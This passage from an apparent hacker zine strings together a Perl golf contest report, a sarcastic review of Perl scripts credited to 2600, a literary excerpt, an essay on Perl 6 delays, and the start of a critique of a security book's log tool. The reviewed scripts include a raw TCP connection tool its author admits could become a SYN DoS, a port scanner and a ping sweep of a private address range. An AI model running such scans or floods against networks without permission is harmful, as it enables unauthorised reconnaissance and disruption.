1591
1592To clarify this three step process, I've prepared a commented version with the arabic to roman
1593numeral step abstracted into a subroutine and without any arcane golfing tricks.
1594
1595#!perl -lp
1596# r() converts an arabic number (1..3999 or -3999..-1) to a roman nume
1597+ral.
1598sub r{my$s;($s.=5x$_*8%29628)=~y$IVCXL426(-:$XLMCDIVX$dfor/./g;$s}
1599y/iul-z/-$+/d; # Step 1: convert plus and minus to +$
1600+and -$
1601s''$'; # Step 1: prepend $
1602$$_=r(),$$$_=$_ for-3999..-1; # Step 2: build two sets of symbolic re
1603+ferences
1604$_=${+eval}; # Step 3: eval the expression
1605
1606Of interest here is the final line above. Remarkably, ton changed it to *_=eval, with the wry
1607comment "More fun with globs", in only one minute twenty seconds! If Juho, who played brilliantly
1608throughout, had found this final trick he would have tied ton for first prize.
1609
1610Tactical Tricks
1611
1612In addition to the overall strategies discussed above, tactics also play a vital role.
1613
1614As pointed out to me by thospel, constructing the table backwards, from 3999 down to 1, also allows
1615you to safely place the $$$_=$_ inside the s///eg expression, since wrong entries for partial roman
1616strings during the build get fixed later (see Ton's 99.56 solution below).
1617
1618It's also worth noting that counting downwards allows you to safely extend the range from 3999 to
16194e3 thus avoiding the nasty edge case bugs that plagued the solutions of TedYoung, szeryf, Sec and
1620Jasper, where the (invalid) 4e3 case tramples on a previously correct entry.
1621
1622Dueling Flamingos: The Battle of the Last T-Shirt
1623
1624Late in this game, there was a gripping duel, silently fought between two gritty characters
1625pounding away on their keyboards in Ottawa and New York. This was the titanic Battle of the Last
1626T-Shirt.
1627
1628The lead see-sawed back and forth between `/anick Champoux and Michael Wrenn right up until the
1629final bell, with Michael emerging the exhausted victor by a single stroke.
1630
1631Here is what `/anick had to say after it was all over:
1632
1633But nevermind that blunderific overlook of the Great Thome of Golfic Knowledge. Nevermind an
1634obscenely tumefied forehead, caused by repeated percussions against my desk during the
1635ever-excruciating quest for the next shaved stroke. What really make me wail like a tax-audited
1636banshee is that the referee just went through the last of the pending entries, allowing m.wrenn to
1637sneak one stroke ahead of me and bump me off the top 20, literally yanking the prized t-shirt off
1638my clenched fists.
1639
1640m.wrenn, if you are on this list, consider my fist -- yes, that same fist that you so fiendishly
1641robbed from its prize -- shaked in barely supressed fury in your general direction. And mark my
1642words: one day, I shall have my revenge upon thee!
1643And here is his final 170.51:
1644
1645#!perl -lp040
1646$s=/m/
1647if/u/;($y=I1V5X10L50C100D500M1000IV4IX9XL40XC90CD400CM900)=~/$&/,$i=$t
1648++=$s^"$;">($;=$')?-$;:$;while
1649s/.$//}{1while$y=~/(\D+)$i/&&$t>=$i?($_.=$1,$t-=$i):$i--
1650[download]
1651
1652`/anick was the only golfer imaginative enough to employ the command line switch 040 in harness
1653with the }{ "eskimo greeting" secret operator. I'll refrain from commenting further on his creative
1654masterwork because, frankly, I do not understand it.
1655
1656Here is Michael's moving response, along with his final 169.51 solution:
1657
1658
1659I went out to get some dinner and returned to check on my solid 20th Place (securing a prized
1660Fonality/trixbox T-shirt) ... when what to my wondering eyes should appear, but \'anick the Canuck
1661who was now TWO STROKES CLEAR! I CURSEd and I SHOUTed and I called him some names| That Bastr/a//d!
1662That foo|bird! That Flamingo again!!! I'll catch him! I'll pass him! I'll beat him this time! I'll
1663punk him! I'll twizzle and addle his brain! To the top of the board! Past Juho and ton! Now slash
1664away, slash away, slash away all!
1665
1666When I came to, I was still one stroke back and all my hair had been yanked out and deposited on
1667the floor next to me. That \'akinc! It was after 1AM and I needed inspiration. I went into my
1668closet and tried on all of my T-shirts ... None of them fit! I needed a NEW one!
1669
1670So, I had another beer (a nice Belgian one) and kept at it and just before 2AM, I saw the light! An
1671extremely obvious 2 stroker that I had tried earlier in a slightly different form. I could feel
1672that feeling of cotton ...
1673
1674#!perl -lp
1675@@{@@=map{$_,$_.0,$_*100}4,5,9,10}=qw(IV XL CD V L D IX XC CM X C M);f
1676+or$~(@@){s/$@{$~}/"I "x$~/ge}s/I//while s/m\w* +I/m /;$~=y/I//cd;s/I{
1677+$~}/$@{$~}||$&/gewhile$~--
1678
1679
1680Top Ten Countdown
1681
1682The top ten golfers at the close of play were:
1683 1. 99.56 ton Netherlands
1684 2. 102.54 Juho Snellman Finland
1685 3. 108.53* TedYoung USA
1686 4. 111.49 jojo France?
1687 5. 115.52* szeryf Poland
1688 6. 118.53 pijll Netherlands
1689 7. 120.51* Sec Germany
1690 8. 122.54 eyepopslikeamosquito Australia
1691 9. 126.46* Jasper UK
1692 10. 129.50 Util USA
1693
1694
1695In writing this report I became aware that the solutions marked with an asterisk (*) above, though
1696they passed the referee's test program, each contained a bug, failing on one or more of the
1697following test cases:
1698 { in => "MD plus I\n",
1699 out => 'MDI' . "\n" },
1700 { in => "MD minus I\n",
1701 out => 'MCDXCIX' . "\n" },
1702
1703They can all be easily remedied by changing 4e3 to 3999, at the cost of a single stroke. Since I'm
1704sure each of these golfers would have found this trivial fix had the referee's test program been
1705more exhaustive, I've taken the liberty of adjusting their scores above and their solutions below.
1706Please note that I am not the tournament referee and therefore do not have any authority to make a
1707decision on this matter. I bring it to light here only in the interests of historical accuracy.
1708
1709It is interesting to note that nine of the top 10 had previously competed in the strenuous TPR
1710tournament circuit of 2002. And the only one who hadn't, jojo, had played 12 challenges previously
1711at codegolf.
1712
171310. Util (129.50)
1714
1715Util has limited previous golfing experience, having competed in two tournaments in the 2002 TPR
1716season, finishing the season in 121st place, with winnings of $59,000. Accordingly, I expect he was
1717well satisfied with a top ten finish.
1718
1719#!perl -lp
1720$==$_,s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$_[$=].=4x$&%1859^7;5!egfor+0..3
1721+999;@&{@_}=0..@_;y/il-z/-+/d;s/\w+/$&{$&}/g;$_=$_[eval]
1722
1723
1724Though some strokes can be whittled from this lookup hash approach -- for example, this one:
1725#!perl -lp
1726s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$X[$_].=4x$&%1859^7!egfor+0..3999;@Y{@
1727+X}=0..@X;y/m/-/;s/\w+/+$Y{$&}/g;$_=$X[eval]
1728
1729is 12 strokes less fat -- Util really needed to find the symbolic reference hack to join the
1730leading pack.
1731
17329. Jasper (126.46)
1733
1734Jasper is a very experienced golfer, having competed in ten tournaments in the 2002 TPR season,
1735finishing the season in 13th place, with winnings of $719,600.
1736
1737Jasper was the highest placed of those golfers who missed Ton's magic roman formula.
1738
1739#!perl -lp
1740map{y/IVXLC/XLCDM/,s!\d!$&^4?$&^9?V x($&>3).I x($&%5):IX:IV!ewhile//;$
1741+$_=$n++}@d=0..3999;y/m/-/;s/\w+/+${$&}/g;$_=$d[eval]
1742[download]
1743
1744What was astonishing here is that Jasper had never heard of mtve's book of golf containing Ton's
1745magic roman formula. This is despite playing in many, many golfs over the years and being mentioned
1746many times in the book himself.
1747
17488. eyepopslikeamosquito (122.54)
1749
1750eyepopslikeamosquito is an experienced golfer, having competed in eight tournaments in the 2002 TPR
1751season, finishing the season in 17th place, with winnings of $652,400.
1752
1753#!perl -lp
1754sub'_{$;=0;($;.=5x$_*8%29628)=~y$IVCXL426.-X$XLMCDIVX$dfor/./g;$;}y;mp
1755+;-+;;s>\w+>(grep$&eq&_,1..1e4)[0]>eg;$_=_$_=eval
1756
1757
1758Like Util, eyepopslikeamosquito wasn't really in the game because he failed the find the symbolic
1759reference trick. While Util used a hash lookup, eyepopslikeamosquito tried grep in harness with a
1760sub.
1761
17627. Sec (120.51)
1763
1764Sec is an experienced golfer, having competed in eight tournaments in the 2002 TPR season,
1765finishing the season in 57th place, with winnings of $179,467.
1766
1767#!perl -lp
1768@%=map{my$a;s/./y!IVCXL91-80!XLMCDXVIII!dfor$a.=4x$&%1859^7/eg;$$a=$/-
1769+-;$a}0..3999;y/i/-/;s/\w+/${$&}/g;$_=$%[-eval]
1770
1771
1772Of note here, is that Sec only spent half a day on the entire tournament. Impressive.
1773
17746. pijll (118.53)
1775
1776pijll is a champion golfer, having competed in ten tournaments in the 2002 TPR season, finishing
1777the season in 3rd place, with winnings of $3,540,000. Notably, pijll has beaten ton in head-to-head
1778matches on at least three occasions, winning the tournament each time.
1779
1780#!perl -pl
1781y/i-z/-+/s;for$a(1..4e3){$a=~s#.#($n[$a].=4x$&%1859^7)=~y$IVCXL91-I0$X
1782+LMCDXVIII$d;s/\b$n[$a]\b/$a/g#ge}$_=$n[eval]
1783
1784
1785pijll is such a classy golfer that had you mentioned in passing, "Erm, (-ugene, why not try using a
1786symbolic reference in this game?", I have no doubt that pijll would have been battling with ton and
1787Juho for first prize a few hours later.
1788
17895. szeryf (115.52)
1790
1791szeryf is an experienced golfer, having competed in one tournament in the 2002 TPR season,
1792finishing the season in 123rd place, with winnings of $56,000. In his only tournament in that
1793season, he thrillingly came from behind to snatch the Beginner's trophy.
1794
1795Since then he has competed in a number of Polish golf tournaments.
1796
1797#!perl -pl
1798@;=map{$a=0;($a.=4x$_%1859^7)=~y!IVCXL91-80!XLMCDXVIII!dfor/./g;$$a=$_
1799+;$a}s''$'>y/isl-{/-$+
1800/..3999;$_=$;[eval]
1801
1802
18034. jojo (111.49)
1804
1805jojo is a mystery golfer. If anyone knows more about him/her, please let us know. jojo is an
1806experienced golfer, having competed in 12 challenges at codegolf where he/she is currently in 15th
1807place overall.
1808
1809#!perl -pl
1810s|.|y;CLXVI624.-=;MDCLXXVI;dfor$$_.=5x$&*8%29628;$&|ge,$$$_=$_^Kfor-4e
1811+3..o;s;\w+;${$&}|$&&'-';ge;$_=${+eval}
1812
1813
18143. TedYoung (108.53)
1815
1816TedYoung is an experienced golfer, having competed in three tournaments in the 2002 TPR season
1817(under the moniker Theodore Young), finishing the season in 82nd place, with winnings of $127,200.
1818
1819#!perl -lp
1820y,iul-~,-$+,d,$_=eval,${$@}=1..!s/./y@IVCXL91-:0@XLMCDXVIII@dfor$@.=4x
1821+$&%1859^7/egfor$...3999,u.$_;$_=$@
1822
1823
1824TedYoung was the surprise packet of the tournament. He has clearly moved to a higher golfing plane
1825since 2002.
1826
18272. Juho Snellman (102.54)
1828
1829Juho Snellman is a brilliant golfer, having competed in six tournaments in the 2002 TPR season
1830finishing the season in 6th place, with winnings of $1,264,000.
1831
1832#!perl -pl
1833$_=${s!.!y$XLIVC246,-:$CDXLMVIX$dfor$$_.=8x$&*5%29628;$$$_=$_!gefor-4e
1834+3..s''$'/y/isl-~/-$+/d;eval}
1835
1836
1837Juho put in a really gutsy performance, gallantly leading the pack relentlessly pursuing ton during
1838the last days. Indeed, only failing to unearth ton's little *_=eval "More fun with globs" trick
1839prevented Juho from sharing first place in this competition.
1840
18411. ton (99.56)
1842
1843ton (aka thospel) is a legendary golfer, having competed in ten tournaments in the 2002 TPR season
1844finishing the season in 1st place, with winnings of $4,384,000 ($4,384,350 now ;-).
1845
1846#!perl -pl
1847s!.!y$IVCXL426(-:$XLMCDIVX$dfor$$_.=5x$&*8%29628;$$$_=$_!egfor-4e3..y/
1848+iul-}/-$+ /%s''$';*_=eval
1849
1850
1851In addition to breaking the magic 100 barrier, ton managed to concoct the first known functional
1852smiley in a golf winner's solution. (-:
1853
1854Since ton invented the magic formula in the first place, I feel he was a most worthy winner.
1855Congratulations thospel!
1856
1857References
1858
1859USD $350 Cash First Prize for Perl Golf Competition
1860Perl Golf Ethics
1861TPR Golf Contests
1862Original Polish Golf where Ton first used his magic formula
1863Terje/mtv pdf book about Perl Golf
1864perl golf mailing list archive
1865Final TPR Career Money Leader List
1866Golf competitions in Perl, Ruby, Python or PHP
1867`/anick's BoG (Book of Golfers)
1868The Lighter Side of Perl Culture (Part IV): Golf
1869
1870
1871Acknowledgements: I'd like to thank cog for writing the Acme::AsciiArt2HtmlTable module, which was
1872used to generate the little pictures above. I'd also like to thank Samy Kamkar of LA.pm for
1873refereeing the Fonality tournament on his own. Update: I seem to have hit the size limit of a
1874meditation, anyway the last bit got chopped off, so I had to remove the little orange picture of
1875pijll to get it to fit. :-( Update: Added new "Tactical Tricks" section (thanks thospel) and
1876expanded "Top Ten Countdown" section a bit.
1877
1878
1879~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1880-rw------- 1 puyou puyou 11384 2007-02-26 18:17 laugh/2600.txt
1881~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1882
1883<Calvin> She'll never expect a snowball in JUNE! Boy, will she be mad! Ha ha ha!
1884
1885Wow, 2600 has taken a lot recently. First Zero For 0wned features their IRC
1886network in their debut issue, and now we do their Perl.
1887
1888We were actually getting low on material, so we decided to sink to 2600. It
1889didn't turn out very well as they didn't have any credibility BEFORE we got
1890to them.
1891
1892As a friend of mine once put it:
1893
189418:36 <nick_removed> 2600 folk are the worst breed of hacker
189518:37 <nick_removed> if you can even call them that
189618:37 <nick_removed> maybe confused anti-establishment morons would be a better term
1897
1898So, on with the show!
1899
1900
1901#!/usr/bin/perl -w
1902
1903# -w eh? What's next, $^W ?
1904# use warnings;
1905
1906#
1907# A simple program to open a TCP port. Useful for
1908# testing SYN packet issues on state-like firewalls.
1909#
1910# http://www.assdingos.com/grass/
1911#
1912# Shout outs: Cat5, Rijendaly Llama, chix0r, alx0r,
1913# exial, stormdragon, lucid_fox,
1914# Deathstroke, Harkonen, daverb and
1915# eXoDuS (YNBABWARL!)
1916#
1917# Some code used from snacktime.pl
1918# http://www.planb-security.net/wp/snacktime.html
1919# (C) Tod Beardsley
1920#
1921# Copyright (C) Gr@ve_Rose
1922# This program is free software; you can redistribute it and/or
1923# modify it under the terms of the GNU General Public License
1924# as published by the Free Software Foundation; either version 2
1925# of the License, or (at your option) any later version.
1926#
1927# This program is distributed in the hope that it will be useful,
1928# but WITHOUT ANY WARRANTY; without even the implied warranty of
1929# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
1930# GNU General Public License for more details.
1931#
1932# You should have received a copy of the GNU General Public License
1933# along with this program; if not, write to the Free Software
1934# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
1935#
1936
1937# Blah, blah, blah.
1938# POD. Learn to love it.
1939
1940use warnings; # Hmmm... nice job on starting the interpreter with warnings enabled, and then
1941enabling them again!
1942use strict;
1943use Getopt::Std;
1944use IO::Socket::INET;
1945
1946# IPv6 Support - README
1947# To get IPv6 support you will need to install two
1948# additional Perl modules: Socket6 and IO-Socket-INET6
1949# First, download each package from CPAN:
1950# Socket6 -> http://search.cpan.org/CPAN/authors/id/U/UM/UMEMOTO/Socket6-0.17.tar.gz
1951# INET6 -> http://search.cpan.org/CPAN/authors/id/M/MO/MONDEJAR/IO-Socket-INET6-2.51.tar.gz
1952# Once downloaded, uncompress each file and go into
1953# the new directories. Run the command (as r00t):
1954# perl ./Makefile.PL && make && make install
1955# in each directory to install the modules. You need to
1956# install Socket6 first.
1957# Finally, uncomment the line below and enjoy.
1958
1959# That's all included in the IO::Socket::INET6 install docs, and there's no need for it here.
1960
1961use IO::Socket::INET6;
1962# This wasn't commented.
1963
1964$| = 1 ; # Get rid of the buffer and dump to STDOUT
1965
1966my %options;
1967getopts('m:t:p:s:x:',\%options) || usage();
1968
1969# Are we asking for the man page? If so, stop here and go there.
1970if ($options{m}) {
1971
1972 man();
1973 die; # You're already die()'ing in the man() subroutine, why die again?
1974}
1975
1976# Do we have a Target IP?
1977if (not $options{t}) {
1978 print "\r\n";
1979 print " [*************ERROR**************]";
1980 print "\n";
1981 print " --==[You forgot the target IP Address]==--";
1982 print "\n";
1983 print " [*************ERROR**************]";
1984 print "\r\n";
1985 # Wow... Maybe try: print qq(...); ? Seriously, maybe you
1986 # should check out perlintro(1).
1987 usage();
1988 die; # Again, we'll never get here.
1989}
1990
1991# Do we have a Target Port?
1992if (not $options{p}) {
1993 print "\r\n";
1994 print " [**********ERROR***********]";
1995 print "\n";
1996 print " --==[You forgot the target Port]==-";
1997 print "\n";
1998 print " [**********ERROR***********]";
1999 print "\r\n";
2000 # You just don't get it, do you?
2001 usage();
2002 die;
2003}
2004
2005# Do we have a Local Source Port?
2006if (not $options{s}) {
2007 print "\r\n";
2008 print " [**********ERROR***********]";
2009 print "\n";
2010 print " --==[You forgot the source Port]==-";
2011 print "\n";
2012 print " [**********ERROR***********]";
2013 print "\r\n";
2014 # Please, somebody make it stop....
2015 usage();
2016 die;
2017}
2018
2019
2020# Default to IPv4 or if specified
2021if (not $options{x} or $options{x} == "4") {
2022
2023 my $socket = IO::Socket::INET -> new(PeerAddr => $options{t}, PeerPort => $options{p},
2024LocalPort => $options{s}, Proto => 'tcp');
2025 # No error checking on the socket?
2026 # my $socket = IO::Socket::INET -> new (...) or die "Can't connect to ", $host, ":", $port,
2027"\n";
2028
2029 my $gigo = "\r\n"; # A basic [ENTER] button to send if you want.
2030 # See the blurb below for usage of this variable
2031 # Go ahead and modify this for a specific protcol
2032 # like HELO (port 25), or an HTTP GET request.
2033 # If you would like to send a basic [ENTER] (Or whatever you've created)
2034 # to the socket once connected, replace:
2035 # print $socket
2036 # listed below with:
2037 # print $socket $gigo
2038
2039 # More crazy comments
2040 printf "\r\nAttempting to connect... (IPv4)\r\n^C sends a FIN packet whenever you are ready
2041to close the connection.\r\n \r\n";
2042 # printf() now eh? Nice way to change your coding style midway through.
2043 # And why are you using "\r\n" ? Are you a Windows user or what?
2044
2045 printf $socket || die "There was an error in the connection. Check the following:\r\n-
2046Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
2047ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
2048 # Great, an error message that will never be reached. You see,
2049 # IO::Socket::INET (and IO::Socket::INET6) will report that the
2050 # connection failed. Maybe if you had done proper error checking (like
2051 # was included above) you wouldn't have to have this long a pointless printf().
2052
2053 while (<$socket>) {
2054
2055 print $_;
2056 }
2057
2058}
2059
2060
2061# If IPv6 is explicitly defined in the command variable...
2062if ($options{x} == "6") {
2063# Who's up for some code reuse?
2064 my $socket = IO::Socket::INET6 -> new(PeerAddr => $options{t}, PeerPort => $options{p},
2065LocalPort => $options{s}, Proto => 'tcp');
2066
2067 my $gigo = "\r\n"; # See note above for $gigo usage...
2068
2069 printf "\r\nAttempting to connect... (IPv6)\r\n^C sends a FIN packet whenever you are ready
2070to close the connection.\r\n \r\n";
2071
2072 printf $socket || die "There was an error in the connection. Check the following:\r\n-
2073Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
2074ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
2075
2076 while (<$socket>) {
2077
2078 print $_;
2079 }
2080
2081}
2082
2083sub usage {
2084 # I like how you call die here, and then die again after calling the routine.
2085 # Hey, you do know how to use here-docs. Why not use them to print your silly errors?
2086 die <<EOH;
2087Grave_Rose\'s Atomically Small SYN - A small SYN sending program
2088 Version 0.5
2089
2090Usage: grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
2091
2092-t MUST be present (Who are you sending the packet to?)
2093-p MUST be present (What port are you opening?)
2094-s MUST be present (Why would you want a dynamic source port?)
2095-x MAY be present - Use "-x 6" for IPv6 instead of IPv4
2096 (Defaults to IPv4 if not present)
2097-man - Shows the mini-man page for further information
2098
2099 If you\'re seeing this message, you didn\'t get the memo.
2100
2101There is additional information in the source of this program so if
2102 you have any questions, look in the source before bugging me about
2103 anything. All you have to do, is open grass.pl in your favourite
2104 text editor and look at some of the comments.
2105 Grave_Rose
2106
2107
2108EOH
2109}
2110
2111sub man {
2112 # Same issue, you die here, and then you die again.
2113 die <<EOM;
2114
2115G.R.A.S.S. Mini-Man Page
2116
2117NAME
2118 grass.pl - A small Perl SYN program
2119
2120SYNOPSIS
2121 grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
2122
2123DESCRIPTION
2124 grass.pl is a program intended to assist in troubleshooting network related issues
2125 specifically with SYN and Source-Port troubles. You can use grass.pl to either act
2126 as a "door-jam" for a SYN connection by starting it first or use it once an established
2127 connection is already in place and you want to cause an effect from the same source
2128 port as the previous connection.
2129
2130OPTIONS
2131 -t Specifies the Target IP address. This value *MUST* be present and can be either
2132 IPv4 (Default) or IPv6 (See -x below).
2133
2134 -p Specifies the Target Port. This value *MUST* be present.
2135
2136 -s Specifies the Source Port. This value *MUST* be present.
2137
2138 -x Select IPv4 (Default or -x4) or IPv6 (-x6). For IPv6 to work, you *MUST* have the
2139 Socket6 and IO::Socket::INET6 Perl Modules installed as well as a capable IPv6-enabled
2140 interface.
2141
2142RETURN VALUES
2143 If a successful TCP connection is made, the IO::Socket::INET(6) will return a GLOB
2144 from the connection. In the event the connection is unsuccessful, an error message
2145 will be printed. If one of the three *MUST* options are missing, an error message
2146 will be printed and will tell you which one you are missing.
2147
2148EXAMPLES
2149 Open port 80 on 10.11.12.13 from a source port of 31377:
2150 ./grass.pl -t 10.11.12.13 -p 80 -s 31337
2151
2152 Open port 110 on fec0:c0ff:ee01::1 from a source port of 5678:
2153 ./grass.pl -t fec0:c0ff:ee01::1 -p 110 -s 5678 -x 6
2154
2155SECURITY NOTES
2156 As long as you have access to Perl, this program has the potential to be a complete
2157 SYN DoS program. It is *STRONGLY* suggested that you use this program with restraint
2158 as basic "while" looping can change the program from "Happy Troubleshooting Tool" to
2159 "Evil Script O' Death". Just as a hammer can be a tool or a weapon, I designed this
2160 to be a tool and not a weapon. If this program ends up DoS-ing your network, take
2161 action against the person who did this and not against me.
2162
2163BUGS
2164 Using the -m(an) switch... You can type anything after the letter "m" and you will get
2165 this mini-man page. Using -m by itself does nothing though.
2166 Yes, even: ./grass.pl -man am I drunk
2167
2168EOM
2169}
2170
2171#!/usr/bin/perl
2172# I swear to god, this actually made it into the zine.
2173# 23:3 page 29.
2174# No warnings? No lexical variables?
2175# use strict;
2176# use warnings;
2177
2178use IO::Socket::INET;
2179my $port = 1;
2180$file = "/home/retail/perl/ports.txt";
2181# Why do you declare $port with my, and then make $file a package variable?
2182while($port < 10000){
2183 # You've got to be kidding me...
2184 # See, in Perl, we have this nifty thing called a for() loop.
2185 # It's very useful in situations like this.
2186 # for my $port (1..10000) {
2187 # ...
2188 # }
2189 $sock = IO::Socket::INET -> new(PeerAddr => '172.21.101.11',
2190 PeerPort => $port,
2191 Proto => 'tcp',
2192 Timeout => '1'); #Because we really need to quote
2193numbers.
2194
2195open(LIST, ">>$file"); # or die "open(): error: Can't open ", $file, "\n";
2196# Yea, that's right, lets open() $file 10000 times, when we could just
2197# open it once, if we put this above the loop.
2198 if ($sock){
2199 close($sock); # Ewww.... parens...
2200 print "$port -open\n"; # Quoting vars as well as integars now, are we?
2201 # print $port, " -open\n";
2202 print LIST "$port -open\n";
2203 $port = $port + 1; # .... Are you serious? Why not $port =+ 1; ?
2204 # Or $port++; ?
2205 # Or avoid that all together with the
2206 # for() loop mentioned previously.
2207 }
2208 else{ # I'm not even going to bother...
2209 print "$port -closed\n";
2210 $port = $port + 1;
2211 }
2212}
2213close(LIST); # *sigh*
2214# exit;
2215
2216
2217#!/usr/bin/perl
2218# I was considering not putting this in the zine; it reflects badly on us.
2219# I also don't think this needs any comments.
2220$subnet = 000;
2221while($subnet <= 255){
2222 system("ping -q -c 1 -w 1 172.21.$subnet.11");
2223 $subnet = $subnet + 1;
2224}
2225
2226
2227~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2228-rw------- 1 puyou puyou 897 2007-02-26 18:15 rant/saltmarsh.txt
2229~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2230
2231Assuming a nonchalent air, I walked over to the plank down which workmen were dragging empty
2232barrows.
2233
2234"Greetings, mates. Good luck to you."
2235
2236The response was utterly unexpected. The first workman, a sturdy grey-haired old man with trousers
2237rolled to the knee and sleeves to the shoulder, exposing a sinewy bronzed body, did not hear me and
2238walked past without paying me any notice. The second workman, a young chap with brown hair and grey
2239eyes, threw me a hostile glance and made a face, throwing in a coarse oath for good measure. The
2240third--evidently a Greek, for he was as brown as a beetle and had curly hair--expressed his regret
2241that his hands were occupied and therefore he could not introduce his first to my nose. This was
2242said in a tone of indifference inconsonant with the desire expressed. The fourth shouted at the top
2243of his lungs: "Hullo, glass-eye!" and tried to give me a kick.
2244
2245
2246~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2247-rw------- 1 puyou puyou 3636 2007-02-26 18:14 school/perl6.txt
2248~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2249
2250Why Perl 6 is taking so !@#$ long
2251by dragonchild
2252
2253A lot of posts have been cropping up recently about Perl 6 and the common thread seems to be "It's
2254taking soooooooo long!" I'd like to explain, as a sometime contributor, why I think the process is
2255taking so bloody long. In no particular order ...
2256There's two projects - the Perl 6 language and the Parrot VM. The more ambitious project, in terms
2257of implementation, has always been Parrot. It's been almost 6 years since Dan started it and it
2258will probably be another 2-3 years before I would build something on top of it.
2259
2260It's taking so long because you only get two of "Fast, Good, Cheap". Since anything associated with
2261Perl has to be Good, it's a Fast-Cheap scale. There's about 10 developers, nearly all of which are
2262volunteer, with another 20-30 testers. To me, that's high on the Cheap factor, which means that
2263things are going to be very slow. You're more than welcome to help fix that. I'm sure that Parrot
2264would be avaible in 6 months if all the developers were able to work on Parrot as their fulltime
2265job. All you need to do is pay them. IMHO, all the developers are worth at least US$100/hr.
2266But, that doesn't explain what's taking an average of 250 development hours/week for 9 years. (For
2267the math-impaired, that's 7500 development hours/year, or 67_500 development hours total.) Well,
2268here's a partial high-level list of the requirements on Parrot (in no particular order):
2269
2270Fast
2271Reliable
2272Runs on every OS known to man
2273As parsimonious with RAM as possible
2274Unicode aware
2275Handles continutations and coroutines and treats functions as first-class data
2276Is threaded
2277Is garbage-collected
2278
2279I don't know about you, but that's a very tall order. In comparison, the Java VM (which started 15
2280years ago and had 13 fulltime development staff for several years) only achieved half of those
2281requirements after 10 years of development and use.
2282Perl 6 isn't about fixing Perl 5's problems. Well, it is, but not within the Perl 5 framework.
2283
2284The issue is that Perl 5 is too successful. P5 is over 10 years old, but Perl itself is not even
228520. That should say something about how good Perl5 is. For something to replace that, it has to be
2286seriously better. Like, radically better. Some of the features in Perl 6 I'm excited about (in no
2287particular order):
2288Lexical grammar changes
2289Everything is an object, but only if I want to think of them that way
2290This means code is an object that I can manipulate
2291tie and overload both go away
2292I can change both the syntax and semantics of the language within a lexical scope
2293I have access to a real OO metamodel
2294
2295That's some serious power! Don't worry if you don't understand the words ... just bask in the
2296knowledge that CP6AN is going to seriously rock.
2297
2298Yet, with all that power, P6 will still provide all the scripty-doo and one-liner power that you've
2299come to expect from P5. In fact, you will still be able to write pure P5 code within P6. Name
2300another language that's completely and 100% backwards compatible after a major version upgrade.
2301
2302Perl6 is exploring some uncharted territory in terms of programming theory. The P6l mailing list
2303happens to be very near the forefront of OO metamodels, roles/traits/mixins, parsing theory ... the
2304list goes on. It's not like all the theory has been laid out and P6l just has to cherrypick the
2305features it wants to add. P6l is creating some of the theory as it goes along! If that doesn't give
2306you the warm fuzzies, I don't know what will.
2307
2308
2309In short, Perl 6 is taking so long because it has to. If it didn't, then it wouldn't be a worthy
2310successor to Perl 5. You do want a worthy successor, don't you?
2311
2312
2313~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2314-rw------- 1 puyou puyou 5326 2007-02-26 18:12 laugh/foster_and_burnett.txt
2315~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2316
2317<Calvin> By golly, no monsters are going to get US tonight! Wither and die, bloodsucking freaks of nature!!
2318
2319James C. Foster is one of the authours of the book Sockets, Shellcode, Porting and Coding: Reverse
2320Engineering Exploits and Tool Coding for Security Professionals. With a title like that, the book sounded
2321like it may be interesting. After flipping through the contents, and noticing a section that served as an
2322intro to Perl, I was pretty psyched. After all, these guys put the word coding in thier title, so they must
2323be good. I was shocked when I opened up to that section, and saw absolute trash in place of Perl. Then I
2324remembered that these were "security professionals".
2325
2326The following appeared on pages 50 - 53 of Sockets, Shellcode, Porting and Coding: Reverse Engineering
2327Exploits and Tool Coding for Security Professionals.
2328
2329#!/usr/bin/perl
2330
2331##
2332# No strict?
2333# No warnings?
2334##
2335
2336#Logz version 1.0
2337#By: James C. Foster
2338#Released by James C Foster & Mark Burnett at BlackHat Windows 2004 in Seattle
2339#January 2004
2340
2341##
2342# Lame authour info.
2343##
2344
2345use Getopt::Std;
2346
2347getops('d:t:rhs:l') || usage();
2348
2349##
2350# Are you kidding me?
2351# If this is a mark of what's to come, I should
2352# have fun with this one...
2353##
2354
2355$logfile = $opt_l;
2356
2357##
2358# Because that's *really* needed.
2359##
2360
2361########
2362
2363if ($opt_h == 1)
2364{
2365 usage();
2366}
2367
2368##
2369# BWAHAHAAHAHAHA. And these guys are "professionals".
2370# Try this: usage() if $opt_h;
2371# Clean, eh?
2372##
2373
2374#######
2375
2376if ($opt_t ne "" && $opt_s eq "")
2377{
2378 ##
2379 # Great if() there buddy. You're obviously a great Perl coder, and completly understand
2380 # the language.
2381 ##
2382 open (FILE, "$logfile");
2383 ##
2384 # Hmm... you market yourself as a *security* professional, and
2385 # you don't know the secure way to open() a file in Perl?
2386 # Very dubious.
2387 # Also, great job with the random, un-needed, quotes.
2388 # On a sperate note, wouldn't it be better to open the logfile up at the top of
2389 # the script, and cut down on redundant code?
2390 ##
2391
